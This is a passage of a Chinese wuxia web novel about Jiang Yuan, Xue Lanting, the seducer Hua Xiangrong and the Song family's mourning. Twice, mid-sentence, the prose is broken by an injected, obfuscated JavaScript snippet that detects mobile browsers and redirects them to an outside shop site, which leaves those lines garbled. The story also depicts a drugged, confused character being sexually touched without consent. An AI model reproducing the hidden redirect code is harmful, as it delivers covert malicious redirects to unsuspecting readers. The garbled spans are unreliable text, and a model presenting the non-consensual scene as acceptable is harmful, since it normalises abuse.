本不愿揭人伤疤,姜沅依旧留了个心眼:“既擅长医术,那你这伤又是……” 阿渠抚着脸,轻声道:“是我自己毁的容。” 姜沅皱眉。阿渠继续道:“早些年家人对我非打即骂,我便出离家门,跟随一热心药师谋生。后来药师仙逝,我入了镇上的药铺打杂。有一日,铺里来了一位贵人。” “那贵人权势滔天,又极好美色,便欲强纳我为妾……我不从,便自毁容貌,保全了性命。可惜寻常药铺见我脸有顽疾,得罪权贵,不敢收容。从此东躲西藏,流落异乡。” 姜沅垂眸道:“抱歉……” 阿渠吸了吸鼻子,微笑道:“没事的姜少侠,已经过去了。你们见我不像其他人如见夜叉,阿渠便已心存感激。” 阿渠给薛兰庭开了个药方。此后一路,她见着什么野草药便顺手拾进背篓,几日光景,薛兰庭脸上那块怎么都不肯褪的淤青,竟真淡了下去。 路过下一个小镇,阿渠正要进药铺抓几味内服的稀药,薛兰庭眼疾手快,一把将药方抽了去:“阿渠姑娘,我来吧,怎么好总麻烦你?” 阿渠忙道:“这是我应该——” “他自己的伤。”姜沅截断她的话,“又不是不能动了。你做得够多了,让他去吧。” 阿渠还想说什么,薛兰庭赶紧拿着药方出了门。来到药铺,正等着伙计抓药,忽觉侧旁一道视线落过来。 他扭头,便见一个粉衣女子倚在柜台旁,桃腮杏脸,色若春花。见他望来,水波潋滟的眸子,对他俏皮地眨了两下。 薛兰庭摸了摸自己的脸,心下纳闷:“沅兄不是说淤青已看不大出了么?怎的她这般盯着我瞧?” 回客栈后,将药材交予伙计煎熬。薛兰庭一打开客房的门,就被眼前的景色吓了一跳。 屋内不知何时变了模样。灰扑扑的旧梁悬起数道红绸,垂垂曳曳,烛影里轻摇慢展,空气中弥漫淡淡馨香,活似谁家的喜堂。 薛兰庭疑是走错门,正要抽身而出,那门却“嘭”的一声自动闭合。 他回过头。却见床帏之中,伸出一只纤纤素手。 “小郎君,春夜苦短,怎么还傻站着呀?” …… 运功一周天结束,姜沅吐息,缓缓睁开眼。 “交给伙计就好了,你不必如此。” 阿渠收拾碗筷的动作顿了顿,抬头,眼中竟有盈盈:“姜少侠,阿渠也想为您分忧。” “既让你同行,便是将你当我二人的朋友。朋友之间,不必再做下人的事。”说到“朋友”二字时,不知为何,她竟想起薛兰庭在草原上说那话的神情。 阿渠咬着唇,道:“可朋友,也是要互相关怀的。姜公子,阿渠虽不知您近日发生何事,但见您神色,总觉得……有些难受。”她靠近榻沿,看着姜沅冷淡如白玉的脸,“我幼时跟着师父学过几年推拿,能通气血、解郁结。您若是不嫌弃……” 话还未尽,隔壁突然传来几声桌椅砸地的闷响。 姜沅目光一凝,立刻起身持鞭,踹开薛兰庭的房门,顿时被泻出的一室红光刺得半眯起眼。 “薛公子!”阿渠在后面惊呼。 屋内红绸纵横,长短短挂满四壁,如进了一个盘丝洞。薛兰庭持剑的右手被一条红绸死死缠住,腰间亦缚了一圈,整个人姿势别扭,进退不得。 绸缎另一端,握在一名粉衣女子手中。 她笑意盈盈,腕间轻转,便将薛兰庭带得一个踉跄,如傀儡师拨弄掌中偶人。 “小郎君好生无礼,怎么上来就打?姐姐可是好人,没有想强迫你——是你自己不肯听完我的话呀。” 话音未落,手腕又是一翻,红绸绞紧,薛兰庭身不由己滚了半圈。 “可惜呀,一身蛮力,在姐姐这绕指柔里,竟半点施展不开!” 薛兰庭忿忿:“哪个好人把别人的床当自己家!”他弃剑,反手捉住绸带,正想如法炮制扶摇盛会对姜沅的那一摔,不料这女子提前预知,另一绸带如蛛网般缠缠绵绵绕了上来,卸去他全部力道。 姜沅冷声道:“花想容!” “呀,你认识我?”粉衣女子回头,眼睛一亮,“也是个漂亮的小郎君呢!等姐姐品鉴完这个,再去找你!” “大名鼎鼎的采草大盗,江湖人人得而诛之的合欢教余孽,善蛊惑人心,以红绸作战,谁人不知?”姜沅以内力震开挥至眼前的绸带,“覃江派和盛湖山庄前阵子可是还对你下了诛杀令,你如此兴风作浪,肆意妄为,是想步你那淫贼师傅风逐月的后尘了?” 花想容眼中闪过一丝忌惮,随即哼道:“可别跟我提他!那老东西,早十几二十年就死了。他是威逼利诱良家女子的采花大盗,我可与他不同,从未强迫过别人,哪次不是你情我愿的,你们凭什么杀我?” 姜沅看了一眼被十几条红绸耍得团团转的薛兰庭,“这也叫你情我愿?” 花想容咯咯笑道:“这小郎君,心气高的很,要是不先给他打服,哪里会将人看进眼里?”话虽如此,手下却撤了力道,红绸纷纷委地。 薛兰庭不服气道:“你这是占了房间狭小的便宜,要是去外面比,谁打服谁还不一定!哎哟——” 姜沅收回拍他脑门的手:“你想跟人家比武,人家可不是为了跟你打打杀杀而来,到时候被吃了都不知道。” “吃?”薛兰庭一愣,看向花想容的红唇,果真似喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274950|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了血般娇艳。 花想容赞许道:“说得对呀,姐姐最喜欢吃你们这样的俊俏儿郎。薛小公子一身粗野牛劲,横冲直撞,若在床上,还不得爽得人欲仙|欲死!” 姜沅怒道:“污言秽语!” 万千鞭影齐发,将红绸撕咬得花瓣纷飞,碎红漫天,裂帛声不绝于耳。几日来姜沅本就憋着一股气,此刻碰见个没眼色上门挑事的,便不留余地,转瞬逼至眼前。 花想容脸色骤变。她万没料到这少年出手竟如此狠辣,再不敢托大,足尖连点,险险避开这一击,袖中残绸惶惶收回,再没了纠缠下去的心思。 回眸报以妩媚一笑:“少侠好不惜花,奴家下次再来找你罢!”遂破窗而出,消失于茫茫夜色中。 姜沅这才转身,一见薛兰庭,蹙眉道:“你方才打斗时没有屏息?” 薛兰庭意识到嘴边有温热的液体,抬手一摸,竟出了鼻血,“我、我不知道……” 姜沅道:“花想容虽不是风逐月那般奸诈狡猾之人,不屑于对看中的人下药,但绸带上浸有淫羊藿等物,于打斗中致对手心烦意乱、无冷静思索之机。你这个年纪又比较……呃,血气方刚,流鼻血很正常,忍一忍就过去了。” 薛兰庭艰难道:“可是、我还有点难受……” 阿渠见他脸蛋都快烧起来了,连忙道:“我先去抓个药,薛少侠,您且等一等。” 屋中只剩下两人。薛兰庭蹲坐在满地碎红之中,只觉身在火炉,手刚碰到腰带,又连忙拉住姜沅的袍角:“哎哎哎,沅兄,你别走,万一我死这儿了怎么办。” “死不了,放开。”姜沅声音冷淡,脸上有些微红。 方才她虽屏息战斗,但身体阳气过于充足,仅仅是衣袖上沾染一丝一毫,都很容易激发些烦乱沸血之状。 薛兰庭不松手,脸色十分痛苦:“我感觉我的脑子都要烧掉了——” 姜沅胡乱安慰:“你又不用那个东西,烧掉了就烧掉了。” 薛兰庭迷迷糊糊的,也没听出什么不对。除了脑子热外,还有一个地方像是烧起来了,但实在难以启齿。他被姜沅离开的动作带得滚在地上,仰面望着居高临下的姜沅,重复道:“要烧坏了,你陪陪我嘛……”语气呜呜咽咽,好不可怜。 姜沅见他整个人躺在碎红中,双腿并紧,神色又是痛苦又是不解,眼波在烛火映照中笼上一层水雾,紧紧抓住她的衣角,仿佛在渴望她的救援。 她的目光像是被神秘力量牵引着,顺着他通红的面容,滑到滚动的喉结,再滑到微乱的衣襟口,不由自主想到某些不合时宜的画面。 昏黄的烛火,晃动着,晃动着。 薛兰庭热汗涔涔,想脱下燥热的衣裳又不敢,提气抵抗体内这股热意。一运功,却烧得更旺,几乎是要晕过去。 忽然,脸上传来微麻的触感。 那触感并非冰凉,而是也带有一股温热的火意,但他却仿佛淋上一场小雨,说不出来的凉爽舒适。 他尚来不及思索,便凭着本能追逐这快意的触感。鼻尖陡然传来更为馥郁浓稠的香气,竟是那只手,扯住一道红绸,捂住了他的口鼻—— “唔、唔……” 腹部的热火“噌”地烧遍了全身,意识瞬间涣散,挣扎的手垂落在地,体内恶鬼翻腾着、肆虐着,仿佛下一刻就要破体而出。 绸带离去,那只带有薄茧、不算宽厚的手,从额头、双颊,一路流连到下颌、脖颈,慢慢揉捏抚摸。带着一股恶狠狠却不至人疼痛的力道,化开了他皮肤上的热焰。他哆嗦着,恨不得浑身都蜷缩进那只手掌里,任其揉圆搓扁。 想睁眼,却被捂住,于是颤颤地蜷起了双腿。 “沅……” 勉力开口,那拇指便浅浅抵入齿间,摩擦他的下唇珠。薛兰庭伸出舌头去推拒,又被二指轻轻夹住舌尖,涎水溢出唇角。 倘若他通晓人事,便知这一番触碰是带有十足亵玩意味的。可他一无所知,只迷瞪瞪以为,是那十分信赖的好友,在认真帮他缓解病状。 姜沅感受着手心的滚烫,俯视着失神颤抖、欲近不近的薛兰庭,目光始终平静。动作忽而又变得轻柔,竟有几分缱绻。 她低下头,在他耳边道:“如果你真的被她吃了,那怎么办呢?” 薛兰庭已然不清醒,口舌微张,浑身失了力气。 “那我就杀了她。”她回答。自顾自点了点头。 房外传来阿渠端药上来的脚步声,姜沅收回手指,在地上人的衣襟口擦了擦。随即抱起晕过去的人,放到榻上,推门而出。 14. 闻香 翌日,薛兰庭一睁眼就捂住昏昏沉沉的脑袋,只记得昨晚自己不知如何烧晕了过去,又不知如何睡到榻上。 姜沅却气色不错,竟一扫前几日的阴鸷,主动问他要不要在此地多歇息几天。薛兰庭差一点就答应,思及薛伯伯的催促,一口咽了回去。 花想容那夜离开后仍不死心,时不时在三人路途中“偶遇”,因着忌惮姜沅,便收敛行为,谎称只是同路,趁人不注意时挑逗薛兰庭几句。可惜薛兰庭一个榆木脑袋,全然不解风情,屡次以为她是在挑衅,差点又动起手来。 花想容“采草”多年,最爱那些年轻纯情的嫩草,与她师傅风逐月偏爱院中红杏不同。她还是头一回见到薛兰庭这种木的要死、纯的要命、武艺还十分高强的,不由得激起了好胜心,非要拿下他不可。 花想容眼波微转,缓下步子,退到队伍后面的阿渠身边,搂着她道:“渠妹妹,你看这里两个儿郎,打个商量,一人一个好不好?你也不要再做些什么清心丹静心丸了,我可没有下阴手。”她指着薛兰庭,“喏,我要这个,你把另一个拉开,去看看花儿月儿的,悄悄说些体己话。” 阿渠推她道:“花少侠……请不要说这种话了!我、我和姜少侠只是朋友。” 花想容笑道:“哎呀,怎么还脸红了?好罢好罢,我小声点就是了,难道你就不想……” “花想容,你又在欺负人了?”姜沅见阿渠在她怀中挣扎得脸色通红,呵斥道。 “哪有!”花想容无视阿渠的抗拒,在她脖间吸了一口,“我是闻见渠妹妹身上的月轮花香,甚是怡人,想向她讨要香料呢!” 阿渠瑟缩了身子,道:“哪有什么花香,我可从来不熏香的。” 薛兰庭用手掌扇着风道:“她自己身上的气味都要飘到三尺外了,哪还闻得到别人的?” 花想容抱胸道:“这你们可就不懂了。男子生来就是臭的,汗臭、体臭,浓淡不一,总归脱不了那层浊气。女子生来却是香的——各人不同,芳香各异。有人似梅,清冽沁骨;有人似兰,幽远绵长……只需闻过一次,便再也不会认错。姐姐教你一招——” 她伸出两根纤指,轻轻点在鼻翼两侧,“以意导气,气走心脉。只需轻轻一吸,便知对方独特的气味,此乃——闻香识人术。” 薛兰庭听得半信半疑,凑近身边的姜沅,没来得及嗅,被姜沅一掌推开:“你属狗吗?她的话也信?” 花想容立刻道:“哎呀哎呀,男子气浊不可闻,你要试,姐姐给你试呀!” 薛兰庭忙不迭跑了。一行人打打闹闹,路过沅江边,薛兰庭找半天不见跟他约定好要吃蛇羹的渔夫,倒是又见着了那个送馒头的小女孩。小女孩害怕人多,没敢上来,躲在一个坐在榕树根上的老伯伯身后。 老伯伯发须皆白,拐杖随手丢在脚边,身边围着几个孩子,正听他讲故事。太阳洒满沅江畔,独独这里有一处未侵染的荫凉。榕树背面靠着一个邋里邋遢的男人,拿着酒葫芦喝酒,懒懒洋洋晒太阳,面容隐藏在青黄斗笠里。 “……话说那蛇妖,某日巡山,顺手逮了只小白兔。那兔子瘦得皮包骨头,塞牙缝都嫌硌。蛇妖嫌弃地瞅了瞅,往洞府角落一丢等养肥了再吃。” “那白兔也是傻得没边儿,被人圈养着等死,反倒感恩戴德,把大蛇当主人伺候,每天眼巴巴地等着,见了就蹭鳞片。大蛇起初嗤笑,可日子久了,看着那团毛茸茸的影子在洞口探头探脑,竟也下不去嘴了,只当自己养了只宠物。” “谁知有一天,白兔不见了。蛇妖翻遍了整座山,最后在一个人的院子里找到了——关在笼子里,瑟瑟发抖。它二话不说,屠了那户人家,叼着笼子回了洞府。” “可它这一杀,杀没了自己的成仙资格。千年修为,一夜散尽。” “它以为白兔会感激。可那兔子只是红着眼看它:‘那是我原先的主人。他们找了我三年,好不容易找到……你凭什么杀他们?’” 小孩问:“后来呢?” “后来?后来兔子走了。” 小孩不甘心又问:“走了之后呢?” 老伯伯抓了抓乱糟糟的头发:“之后……容爷爷下次再想想罢!” 显然大家很不满这个断章,便缠着他道:“不行!你现在就想!” 老伯伯胡乱诌了个结局:“后来,白兔终是舍不得蛇妖,偷偷帮它挡了雷劫,两妖快快乐乐生活在一起啦!” 小孩笑道:“在一起啦!”榕树后的斗笠人也露出了微笑。 也有岁数偏大的小孩不悦:“瞎扯!蛇妖失去千年修为,再修行渡劫,白兔早就死了,看不到这天了!” 老伯伯还没说什么,那斗笠人突然道:“万一呢?” 孩子们见这个脏兮兮的人居然主动说话了,嗓子低沉沙哑,都吓得离远了些。 薛兰庭在一旁疑惑:“杀主之仇,犹如杀父,哪能随随便便就解开呢?” 斗笠人又道:“万一呢?” 孩子们忍不住嘀咕:“万一万一,你只会这两字儿么!” 花想容道:“所以说是假的嘛!那蛇妖活了千年,什么风浪没见过?居然为了只傻兔子——啧啧,一千年的修为,说没就没了,怕不是个雏儿,才会落进这种俗套的情网!要是我呀,管他几只兔儿虎儿,都……” “咳咳咳!”姜沅打断,免得她在一群老幼面前语出惊人。 老伯伯回怼这几个拆台的青年:“谁说不可能?蛇妖狡诈虚伪,活得再久,懂得再多,就跟人一样,会被单纯的东西打动,逃不过一颗真心!好了,大爷饿了,都散了散了,回你们家里拿只馒头给老儿当口水钱!” 小孩不知还是要饭的,惊叫着赶紧溜了,只有那个小女孩道:“爷爷,您等着,我去拿……” 散场了好一会儿,薛兰庭还在唏嘘:“要是那蛇妖没杀人就好了。” 姜沅点头:“倘若它先化仙,兔子还不是逃不出掌心,甭管杀没杀,到时候不让它知晓就……”一边说一边转头,陡然见到花想容放大的脸,姜沅心中一激,连忙后撤:“你干什么?!” 花想容指节抵着鼻尖,笑得意味深长:“难怪姜少侠不肯让人闻香,哪有什么蛇儿兔儿,我看呐,是‘双兔傍地走’!” 最后一句还未说清,姜沅便朝她脸上狠狠招呼了一鞭,幸好她早有戒备躲过,否则定脸烂成泥,“好罢!我不说就是了,这么凶干什么——” 姜沅道:“果然不该留你!这便把你杀了去盛湖领赏钱!” 花想容虽功夫不如她厉害,因平时多偷香窃玉,奔走江湖,倒是练就了一身不错的轻功,滑如泥鳅。她回头对薛兰庭道:“小郎君,看来你是成不了姐姐的人了,谁叫这位看得紧?以后,有缘再见罢!”转眼没入树林。 薛兰庭安慰姜沅道:“沅兄,没事的,不就是被闻了一下么,你要是气不过,也来闻我!” 阿渠红着脸道:“我、我我我也可以。” 姜沅:“……先赶路!” 花想容一口气逃了五里,气喘微微,捂着疼痛的胸口道:“劲儿还真不小,嘶——”方才她光顾着防骨刺鞭,不小心受了姜沅左手一掌,闷痛不止。 正想去路旁巨石上歇息,忽然意识到什么,她抬起的脚在空中硬是扭转了方向,继续懒懒垂胸,往反方向前行。 身后传来窸窣之声,花想容抬袖放出绸带,打落一条击向她背后的铁锁链。 “淫贼花想容!还不速速束手就擒!” 从巨石后一连跃出八个衣着相似、神色肃然的玄衣人,为首一名矫健女子,身如轻燕,手按鸳鸯双环。倘若姜沅在此,定会认出这人就是扶摇盛会上与她交手的女子,盛湖山庄的大小姐辛燕儿。 花想容微微一笑:“一下子来这么多人,还真看得起我!” 辛燕儿叱道:“少废话!快说,我堂弟辛南被你藏在哪里?” 花想容蹙眉道:“辛少侠,你这就没意思了。你们盛湖山庄的人,我怎知在哪?小女柔柔弱弱,独闯江湖,自顾不暇,哪来那么大本事在你们手底下藏人呀?” 辛燕儿也不同她争辩,只给了身边人一个眼色。 “结阵!” 数百道铁索破空交织,眨眼间结成一张密密麻麻的巨网,浪潮般倾覆而来。玄衣人列队其上,内里化掌,封死去路。入此阵者,便是长了翅膀也逃不脱。 “锁仙阵?!好大的派头!” 花想容一边应付着几个山庄弟子的攻势,一边愤愤道:“辛南自己离家出走,你们做长辈的不好好看着,反倒怪在我头上?” 辛燕儿冷冷道:“南儿不过十五六岁,因一副好容貌,便被你这淫贼蛊惑,失了处子身,害了相思病,茶不思饭不想,铁了心要去寻你!我把你这玩弄人心的贼子拿下,他自会回来!” 花想容急急避过一掌,怒道:“你好不讲道理!我夺他元阳,是经过他同意的,可从来没使什么脏手段!他自己经不住诱惑,怪得了谁?” 辛燕儿道:“经过同意?你掩盖身份与他甜言蜜语,海誓山盟,骗取了人一颗真心,随后一走了之——这也叫同意?!” “你可知他从小身子便不好?叔母将他密养于府中,就是为了隔绝人气。一旦失身,每月都要用药吊着身子,否则必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274951|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将早逝!他毫无武功,为了寻他的‘婉儿’,独自一人闯江湖。可谁知他的‘婉儿’,竟是个声名狼藉的猎色大盗!” 花想容行走江湖这些年,全凭一张嘴。那些少男们被她三言两语哄得晕头转向,半推半就间便失了身。她自忖与她那恶徒师父不同——师父采花,迷香秘药、威逼利诱,无所不用其极,得手后扬长而去,留下女子醒来后羞愤欲死。而她从不屑用那些下作手段,算半个有德之人,她要的是少年们心甘情愿交付身心。 说来也怪,那些被采的姑娘们大多身心俱溃,无脸见人,甚至在他人口沫中上吊自尽。可男子们被采,却仿佛话本里写的书生遇着狐妖,一夜风流后,不说怅惘,倒有几分回味——何况献身的是花想容这等倾城颜色的女子,长大后也算一笔风流谈资。她贪恋温柔乡,让双方得到了快乐,从不想要人命。 这还是头一回遇见个犟脾气的。 一个十五六岁的少年,身子骨弱不禁风,经不住几次采。花想容想起那双眼睛,心下难得虚了一瞬。 可辛燕儿这般不依不饶,话里话外把她骂作淫贼,也着实激起了她的火气。 “那也是他自找的!”花想容一把甩开缠上来的铁索,扬声道,“想抓我?便看你们有没有这个本事!” 可她终究低估了自己的能耐。一炷香后,辛燕儿的黑靴落在她眼前。 “你便是用这张脸蛊惑人的?”辛燕儿捏住她的下颌,“口口声声说你情我愿,不过仗着他不通男女之事,养在深闺,连丫鬟都不让近身。你对他笑一笑,说几句软话,他怕是连骨头都轻了二两。你这自倚容色、心怀叵测之徒,也配言情?” “我盛湖山庄虽不是什么名门大派,却也懂得‘诱|奸者,罪当诛’的道理。你跟风逐月,不过一路货色,谁又比谁高贵?” “你说是吧,‘婉儿’姑娘。”辛燕儿说着,取出一把镶金匕首。 …… 一只白鸽翱翔於天,穿过缥缈皎洁的云雾,借风缓缓下落,最后落到一赤衣少年的肩头。 取下信筒的手,迟迟不打开。 姜沅回头看了一眼薛兰庭和阿渠,眼底有深深的郁色,仿佛整条沅江的水流也冲不散这沉重的忧愁。 不久前,她将拜师失败一事传讯与姜甫阁。今日,等到了回信。 那小小的信筒,重逾千钧。 “沅兄!我串到了!”薛兰庭拿着一根串了四条鱼的树枝,激动招手,“这水又深又急忙,差点就掉下去了。鱼也跟会武功似的,狡猾得很,拍我一脸水。我和阿渠姑娘先烤了几条,快来吃鱼吧!” “唔,来了。”姜沅将信纸塞进衣袖。 姜沅坐在火堆旁,见那鱼正正反反被炙烤,心脏也仿佛被架在火上,里里外外灼烧着,煎熬无比。 趁阿渠从从容容调香料、薛兰庭咋咋呼呼剖鱼腹之时,她悄悄展开了那卷信纸,一目十行。 随后,“噌”地站了起来! “怎么了?烤焦了吗?”薛兰庭见她手中烤鱼掉地上,吓了一跳。 姜沅却听不到他说的任何话了,道:“我要走。” 薛兰庭与阿渠对视一眼,皆是愕然:“现在?去哪?” “去……”姜沅刹住话头,“反正你们不用管,就此别过。” “吃完东西再走吧……”薛兰庭有些失落,一路下来,他已是无比依赖这个朋友,“很急吗?现在天都黑了,要不明天再走?” “很急。”姜沅道。 阿渠垂下眸子:“既然如此,便祝姜少侠一路顺风,早日……归来。” 薛兰庭蔫了,手上劈鱼都没了劲头。 姜沅刚迈出一步,又回过头,来到他面前,摸了一下他的脑袋。 “走了。” 又补充一句:“自己回去吧。” 薛兰庭一愣,心中有一丝异样又别扭的感觉,眼睛直勾勾瞅着她。见她转身足下一点,化为飞鸿,潇潇洒洒消失在道路尽头。 “薛少侠……还吃么?”阿渠指了指他的手。 薛兰庭这才发现自己拿着根光溜溜的树杈,鱼都掉地上了,忙道:“吃!”却没捡自己脚边的鱼,而是去捡起姜沅丢下的那条。 离开二人的姜沅,身上还有淡淡鱼腥味,听着耳边风声呼啸,终于压不住上扬的嘴角。 她以为……她以为姜甫阁就算不狠狠数落斥责她一顿,至少也会有几句冷言冷语。 谁曾想,等到这么一个出人意料的消息! 胸中热血翻涌,万千思绪齐齐凝成信上那一句—— “……得此经者,亦可践萧风扬于足下!” 15. 浪子 姜甫阁在信中,提起一件世人知之甚少的陈年往事。 本朝曾有一位异姓王爷,喜好弄武,心向江湖,意欲招萧风扬于麾下。彼时萧风扬初登武林至尊之位,心高气傲,独来独往,不屑与朝廷中人同流合污。 王爷费尽心机投其所好,机缘巧合之下,得了传说中观澜生所创、又亲手毁去的“佚经”。 后世谓之——《妄经》。 此心经本有三卷:《入妄》、《化妄》、《策妄》。王爷不知得了几卷,又赠了萧风扬几卷。萧风扬收下不久,便遭灭门之祸,与王爷的合作不了了之。王爷不久后病逝,而萧风扬却因习得此心法功力大涨,“身如游魄,招若鬼影”,从此无人可敌。 而今,《妄经》的另一部分,现世了。 虽则姜甫阁的推测未必可尽信,但凌波山庄与童家人的出现已足以证明:心经,就在姊陵宋氏手中。 姜沅必须在武林掀起滔天波澜之前,比任何人都先一步,拿到此法。 …… 薛兰庭一边食之无味地啃着烤鱼,一边心想:“不对呀。” “沅兄如此匆忙,一刻也多待不得,怕不是有什么危险的要紧事儿,倘若阿渠跟他去了,说不定还有个照应。” “要不我跟薛伯伯传个信儿好了,晚回几天,就当沿途多看了会儿风景。” 正这么想着,余光忽瞥到江边一个小点,原来是听故事的那斗笠人还未离开,在铺满红霞的煌煌大江中清洗裤脚上的污泥,腰间酒葫芦反着霞光。 薛兰庭将剩下的烤鱼送给了他,斗笠人也不客气,脸都没抬,拿到手就开始狼吞虎咽撕咬鱼肉,拧开葫芦塞灌酒,不废一句话。 “这人得多少天没吃过饭了。”薛兰庭心道。 那斗笠人喝道:“还杵着干嘛?想喝老儿的酒吗!” 薛兰庭心中一丝怜悯瞬间灰飞烟灭,叉腰道:“喂!谁稀罕你的……”见他宝贝似的警惕藏住酒葫芦,极其稀罕,话头一转:“对,我就是稀罕,你给我喝不?” 斗笠人嗤笑:“你要是抢得到,这葫芦让你,也未尝不可。” 薛兰庭摩拳擦掌,跃跃欲试,又听斗笠人道:“噫,那小娘子在唤你。” 薛兰庭扭头一望,阿渠正跟几个不知打哪儿冒出来的,馋烤鱼流口水的小孩说话,哪里在看他?等他回头后,那斗笠人竟凭空消失,不知去向。 薛兰庭大惊,想着他莫不是掉水里了罢。沿江寻了一段路,斗笠人没找着,却在一挑着油纸灯笼的马栈前,碰到两个对峙的队伍,甚为眼熟。 一队赤衫,一队金袍。瞠目怒对,剑拔弩张。 金袍那队道:“既是我们先来的,这马也当归我们!” 赤衫那队道:“你们才几个人?两人共骑一匹,余下的卖给我们,多出点银钱就是!” 棚子里马嘶声起伏纷乱,马栈的主人已经害怕地缩在柱子后,哪边都不敢得罪。 薛兰庭道:“薛炳之,薛朗,你们怎么来了?” “兰庭师兄!你怎么在这儿!”薛朗唤道。 尽管薛兰庭按进门顺序应该算师弟,但与庄主关系匪浅,又在扶摇盛会露了好一手,挽救邀月于败势,年纪轻他些的弟子出于敬佩,都唤他为师兄。 薛朗底气更足,控诉道:“先来后到,他们偏偏要跟我们抢马!两人共乘,要是耽搁了急事,找哪儿说理去?” 姜郃冷哼道:“连银子都没交付,算什么先来后到?你们有急事,我们就没有?倒不如让店家来选,看谁出的银钱多就给谁,做生意,不就认这个理儿?” 薛炳之温声道:“姜少侠见谅。不久前花想容于押送途中出逃,我等奉盛湖山庄之托,前往她家乡姊陵地界调查缉拿,兼查明辛小公子下落。此人行迹诡谲,若耽搁了,恐有人命之危。” 姜郃素来讨厌邀月这群专横霸道、不修边幅的莽夫,但对温文尔雅的薛炳之,态度还是缓了一缓,正所谓人以礼待我,我必以礼待人。 “我们也去姊陵,”姜郃道,“有急事。我……姜沅师兄或许有危险。” 又是同路,又是“或许”,薛朗一听便恼:“你跟我们作对,好歹挑个时候,找个像样的借口!姜沅不是刚回来,能有什么危险?” 姜郃自知失言,脸色青红交加。他本不擅谎言,又不能将真实目的和盘托出,只得瞪着薛朗,一言不发。 薛兰庭却忽然开口:“他说的是真的。我们一起走吧。” 薛朗讶然,薛炳之目光落向他,等他下文。 薛兰庭道:“我方才路过沅江边,见两人缠斗。一人持鞭,招法颇为眼熟,似受了伤,边打边退,往东南方向去了。我猜测他身份,追到此处,正巧遇见你们。” 薛炳之沉吟一瞬,点了点头:“兰庭师弟既这么说,那便一起,姜沅少侠若真有何不测,我们邀月也过意不去。” “可是……”薛朗还想再说什么,被薛炳之抬手止住。 姜郃抿唇看了薛兰庭一眼,跟随店家去取缰绳。 …… 姊陵,秋风萧瑟。白幡随秋风轻轻飘动,幽灵一般,圆形方孔的纸铜钱被路过的人踩过,浸湿尘泥。 齐宁轻声疾步,穿过蟹青色树枝堆垛的院墙。昏暗的灵堂在花木稀疏的小院,静谧空灵,仿若一口巨大棺材。 “公子,老爷来信了。” 跪在蒲团上的人,面色苍白,眼底乌青淡红交加,接过信纸扫了两眼,随即轻轻折起,继续凝视面前灵台上供奉着的,一线笔直的袅袅香烟。 “父亲受剑南侯牵制,滞留京城,连母亲葬礼都错过了,悲痛不已。而我,又惹下这么一个烂摊子。”透过窄窗看一眼天色,惨淡的日光,只薄薄一层,落在身上也是冷的。 齐宁捏拳道:“公子,他们就是故意的!觅县县令本已结案,偏那大理寺评事跳出来,说是他哪门子亲戚,求圣上做主。这不是欺负您正守灵,无力争辩么?” 本以为茶摊撞剑风波已过,谁知竟捅到了御前。更糟的是,不知哪里冒出一个江湖小派,当街哭嚎,说那丧命之人是他们弟子,权贵仗势欺人,草菅人命,要联合江湖义士来讨个公道。 丞相府,一朝之间,朝廷与武林都结了仇。 宋释苦笑:“即便知晓有人刻意筹划,又当如何?的确是我犯的过错。” 齐宁忿然。 “宋瑛呢?” 齐宁一愣,道:“二公子,在……” 宋释见他目光躲闪,顿时了然,道:“他又在后院跟他那群伎子厮混?” “他……” 宋释霍然起身。 “哎!公子!公子!” 床帐层层垂下,一双脚从里头伸出,虚挂着守孝的草鞋。宋瑛闭目浅眠,眼角挂着一滴残泪,似陷入一场噩梦。 下一刻,这残泪便被抱着他的美人轻轻拭去。 宋瑛在梦中喃喃:“娘……” 美人柔声道:“二少爷,我是莺莺啊。” 怀中人的双眉渐渐拧在一起。 美人想为他展眉,未伸出手,忽听“唰”的一声,床帘猛地被人从外面掀开,几乎是撕的力道。 宋瑛被大力拽到冰冷的地上,痛得醒过来,对上宋释黑沉沉的脸。 “……哥?” “你还知道我是你哥!” 宋释从未如此失态,如今看着这衣衫不整的弟弟,怒不可遏,“母亲丧期未过,你在干什么?!” 宋瑛浑身一抖:“我、我守了几日灵,实在累了,才来后院歇息……” “累了?”宋释扫一眼床帐深处那道隐约的身影,房中充斥着的甜腻熏香,他胸口起伏越发剧烈,又闷又痛,“父亲母亲本就不喜你这般作风。他们疼你 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宋瑛闻言,那颗倔强地悬挂在眼眶中的泪水,忽然落了下来。 “惯?也许吧。我知道爹最近被人刁难,哥你又被恶人纠缠,可我什么也做不了!我最擅长的事就是斗鸡和睡女人!我就是这样的人,能怎么办?” 他咆哮道:“反正宋府有你就够了!你行行好,就当看不见我,不行吗?” 宋释身体颤抖,几乎是要气得晕厥。宋瑛说完一顿话后也觉羞耻,见兄长嘴唇蠕动,以为又要训斥自己,心中一酸,便抹一把脸,推开门,兀自冲出府去。 宋释在房间呆立了许久,直到外面传来齐宁的敲门声:“公子,要去找二公子吗?” “不必。”声音已然冷静。 “可外面……” 宋释哑声道:“不是想让我不管他么,让他去吧,最好自己想想。” 宋瑛离府后,一口气冲到熙熙攘攘的大街,被来往行人撞了好几次,心中愈发不耐。好不容易挤出人群,他也不认路,闷头往人少的地方钻。等回过神来,四周已经全是陌生巷道。 